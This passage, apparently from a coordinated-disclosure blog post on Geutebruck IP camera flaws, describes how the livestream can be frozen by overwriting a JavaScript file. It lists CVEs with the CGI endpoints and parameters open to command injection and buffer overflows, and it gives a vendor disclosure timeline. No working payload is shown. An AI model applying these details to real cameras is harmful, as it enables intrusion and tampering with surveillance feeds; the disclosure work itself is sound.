$("#snapshotArea").attr("src", ImageBuf.src);
$("#snapshotArea").show();
var tobj = new Date();
ImageBuf.src = snapshot_url + "?_=" + tobj.getTime();
delete tobj;
}
var ImageBuf = new Image();
$(ImageBuf).load(loadImage);
$(ImageBuf).error(function() {
delete ImageBuf;
setTimeout(pushImage, 1000);
});
ImageBuf.src = snapshot_url; //[1]
}
Collecting all parts together, freezing the camera livestream display is straighforward and can be done by overwriting the JavaScript file content and modify the highlighted line [1] with a hardcoded image path which can be either a random image taken by the camera at the time of the attack or uploaded by the attacker.
The execution proof of concept of the Metasploit script is demonstrated in the figure below:
Metasploit modules have been merged into Metasploit:
- Geutebruck Multiple Remote Command Execution
- Geutebruck instantrec Remote Command Execution
- Geutebruck Camera Deface
CVEs
CGI
Short description
CVE
N/A
Authentication Bypass
CVE-2021-33543
certmngr.cgi
Command injection multiple parameters
CVE-2021-33544
countreport.cgi
Stack Buffer Overflow
CVE-2021-33545
encprofile.cgi
Stack Buffer Overflow
CVE-2021-33546
evnprofile.cgi
Stack Buffer Overflow
CVE-2021-33547
factory.cgi
Command injection in preserve parameter
CVE-2021-33548
instantrec.cgi
Stack Buffer Overflow
CVE-2021-33549
language.cgi
Command injection in date parameter
CVE-2021-33550
oem.cgi
Command injection in environment.lang parameter
CVE-2021-33551
simple_reclistjs.cgi
Command injection in date parameter
CVE-2021-33552
testcmd.cgi
Command injection in command parameter
CVE-2021-33553
tmpapp.cgi
Command injection in appfile.filename parameter
CVE-2021-33554
Timeline
- 25/02/2021: mail with reports (4 new 0day vulnerabilities impacting Geutebruck IP cameras with the 1.12.0.27 firmware) to Geutebruck, ICS-CERT
- 26/02/2021: ack by Geutebruck
- 26/02/2021: mail with additionnal report (BoF) to Geutebruck, ICS-CERT
- 12/03/2021: follow-up mail to Geutebruck, ICS-CERT
- 15/03/2021: ack by Geutebruck
- 02/04/2021: mail with full reports (4 BoF, 7 cmd inj, 1 auth bypass) to Geutebruck, ICS-CERT
- 06/04/2021: ack by Geutebruck
- 20/05/2021: no news from ICS-CERT so -> mail to CERT@VDE
- 20/05/2021: ack by CERT@VDE
- 21/05/2021: mail with full reports to CERT@VDE
- 25/05/2021: ack by CERT@VDE
- 26/05/2021: ack by Geutebruck “UDP told us they will produce a new firmware”
- 28/05/2021: ack by Geutebruck “the engineer who has the responsibility on vulnerabilities of IPN so far is now on maternity leave now (…) I suspect that the deployment of the firmware will still take some time.” <- seriously ?
- 28/05/2021: follow-up mail to Geutebruck, CERT@VDE: full disclo the 02/07
- 30/06/2021: mail by Geutebruck with the new firmware !
- 30/06/2021: mail to Geutebruck, CERT@VDE: we postpone the full disclo, we want to check first if the new firmware corrects the vulnerabilities
- 05/07/2021: mail to Geutebruck, CERT@VDE: new fimware corrects the vulnerabilities !
- 08/07/2021: publication of this blogpost
- 01/09/2021: Exploit module merged into Metasploit (exploits CVE-2021-33554, CVE-2021-33544, CVE-2021-33548, and CVE-2021-33550 to 33554)
- 03/09/2021: Post exploitation module merged into Metasploit
- 16/09/2021: Exploit module merged into Metasploit (exploits CVE-2021-33549)
References
- ELF: Executable and Linkable Format - Wikipedia
- MTD: General MTD Documentation - Memory Technology Devices
- Working with MTD Devices: Working with MTD Devices - OpenSource ForU
- Persistence in Linux-Based IoT Malware: Persistence in Linux-Based IoT Malware - Calvin Brierley, Jamie Pont, Budy Aried, David J. Barnes, and Julia Hernandez-Castro
- JFFS2: JFFS2: The jounalling Flash File System, version 2 - Sourceware, David Woodhouse
- jefferson: jefferson : JFFS2 filesystem extraction tool - sviehb
- popen: popen(3) - Linux manual page
- system: system(3) - Linux manual page
- exec: exec(3) — Linux manual page
- phrack: Smashing the Stack For Fun And Profit - Phrack Magazine
- exploit-db: Stack based buffer overflow Exploitation-Tutorial
- SSP: Buffer Overflows - Wikipedia
- NX: NX bit - Wikipedia
- ASLR: Address Space Layout Randomization - Wikipedia
- ROP: The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86) - Hovav Shacham